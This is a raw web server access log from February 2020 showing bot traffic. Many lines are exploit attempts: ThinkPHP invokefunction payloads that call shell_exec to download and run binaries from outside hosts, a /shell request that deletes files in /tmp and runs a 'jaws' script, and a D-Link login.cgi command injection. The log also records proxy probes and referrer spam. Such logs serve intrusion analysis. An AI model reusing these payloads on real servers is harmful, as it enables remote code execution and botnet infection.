173.76.38.236 - - [04/Feb/2020:01:55:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [04/Feb/2020:01:55:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
1.55.224.246 - - [04/Feb/2020:01:55:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.185.223.233 - - [04/Feb/2020:01:56:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
58.249.101.61 - - [04/Feb/2020:01:57:29 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
119.50.3.132 - - [04/Feb/2020:02:00:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.33.16 - - [04/Feb/2020:02:00:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
87.110.76.87 - - [04/Feb/2020:02:02:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.20.103.242 - - [04/Feb/2020:02:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
202.84.79.6 - - [04/Feb/2020:02:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.90.80.126 - - [04/Feb/2020:02:06:35 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
41.230.121.183 - - [04/Feb/2020:02:08:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.138.188.252 - - [04/Feb/2020:02:08:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
150.136.177.46 - - [04/Feb/2020:02:08:55 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:55 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:55 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:55 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:56 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:56 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:56 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:56 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.177.46 - - [04/Feb/2020:02:08:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.169.88.51 - - [04/Feb/2020:02:12:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.169.88.51 - - [04/Feb/2020:02:12:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.169.88.51 - - [04/Feb/2020:02:12:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.169.88.51 - - [04/Feb/2020:02:13:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
148.71.44.68 - - [04/Feb/2020:02:14:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.169.88.51 - - [04/Feb/2020:02:14:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
119.50.3.132 - - [04/Feb/2020:02:14:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.138.165 - - [04/Feb/2020:02:17:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.169.88.51 - - [04/Feb/2020:02:17:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
183.80.56.33 - - [04/Feb/2020:02:18:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.169.88.51 - - [04/Feb/2020:02:18:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.169.88.51 - - [04/Feb/2020:02:18:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
208.114.149.10 - - [04/Feb/2020:02:20:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.169.88.51 - - [04/Feb/2020:02:21:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.169.88.51 - - [04/Feb/2020:02:22:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
87.110.76.87 - - [04/Feb/2020:02:23:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.6.231.171 - - [04/Feb/2020:02:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.212.199.61 - - [04/Feb/2020:02:26:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
58.189.208.61 - - [04/Feb/2020:02:27:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.52.1.61 - - [04/Feb/2020:02:29:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.252.135.206 - - [04/Feb/2020:02:29:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 NetSeen/1.0"
2.132.212.236 - - [04/Feb/2020:02:31:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.40.100 - - [04/Feb/2020:02:31:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.17.255.206 - - [04/Feb/2020:02:31:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.90.27 - - [04/Feb/2020:02:31:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.106.108.198 - - [04/Feb/2020:02:37:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.18.27.36 - - [04/Feb/2020:02:37:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.170.31 - - [04/Feb/2020:02:38:42 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
222.82.61.242 - - [04/Feb/2020:02:47:45 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.115.193.176 - - [04/Feb/2020:02:47:46 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.144.24.26 - - [04/Feb/2020:02:47:47 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.112.175 - - [04/Feb/2020:02:47:48 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.251.113.161 - - [04/Feb/2020:02:47:48 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.249.98.75 - - [04/Feb/2020:02:47:49 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.63.158 - - [04/Feb/2020:02:47:50 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.177.74.30 - - [04/Feb/2020:02:47:51 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.61.242 - - [04/Feb/2020:02:47:51 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.80.139.33 - - [04/Feb/2020:02:47:54 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
189.166.19.122 - - [04/Feb/2020:02:49:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.165.45.6 - - [04/Feb/2020:02:54:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.137.120.70 - - [04/Feb/2020:02:54:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.29.30.253 - - [04/Feb/2020:02:55:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.254.84 - - [04/Feb/2020:02:55:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.122.183 - - [04/Feb/2020:02:56:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
60.13.6.101 - - [04/Feb/2020:02:57:27 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.113.255 - - [04/Feb/2020:02:57:28 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
61.166.192.143 - - [04/Feb/2020:02:57:29 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.235.138.58 - - [04/Feb/2020:02:57:29 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.184.166.36 - - [04/Feb/2020:02:57:29 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
180.95.238.144 - - [04/Feb/2020:02:57:31 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.177.74.96 - - [04/Feb/2020:02:57:34 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.89.21 - - [04/Feb/2020:02:57:34 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
150.255.11.185 - - [04/Feb/2020:02:57:35 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
117.0.197.193 - - [04/Feb/2020:02:57:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.43.47 - - [04/Feb/2020:02:59:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.168.57.19 - - [04/Feb/2020:03:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:01:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:02:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:02:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:03:02:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
94.50.26.198 - - [04/Feb/2020:03:02:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.220.178.125 - - [04/Feb/2020:03:04:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.105.156.199 - - [04/Feb/2020:03:05:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.85.88.139 - - [04/Feb/2020:03:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.102.221.72 - - [04/Feb/2020:03:17:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.112.190 - - [04/Feb/2020:03:20:51 +0100] "GET / HTTP/1.1" 200 1229 "https://zvuker.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:03:20:52 +0100] "GET / HTTP/1.1" 200 1229 "https://zvuker.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:03:20:52 +0100] "GET / HTTP/1.1" 200 1229 "https://zvuker.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
115.76.38.100 - - [04/Feb/2020:03:22:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.175.148.232 - - [04/Feb/2020:03:22:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.109.216.148 - - [04/Feb/2020:03:24:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [04/Feb/2020:03:24:50 +0100] "GET / HTTP/1.1" 200 1229 "http://69-13-59.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
46.119.171.190 - - [04/Feb/2020:03:24:50 +0100] "GET / HTTP/1.1" 200 1229 "http://69-13-59.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
46.119.171.190 - - [04/Feb/2020:03:24:50 +0100] "GET / HTTP/1.1" 200 1229 "http://69-13-59.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
177.53.105.154 - - [04/Feb/2020:03:25:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.96.232.79 - - [04/Feb/2020:03:32:44 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
217.76.42.78 - - [04/Feb/2020:03:33:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.80.138.72 - - [04/Feb/2020:03:34:34 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
42.119.136.158 - - [04/Feb/2020:03:36:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.233.177.80 - - [04/Feb/2020:03:36:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.196.102 - - [04/Feb/2020:03:38:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.70.122 - - [04/Feb/2020:03:39:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
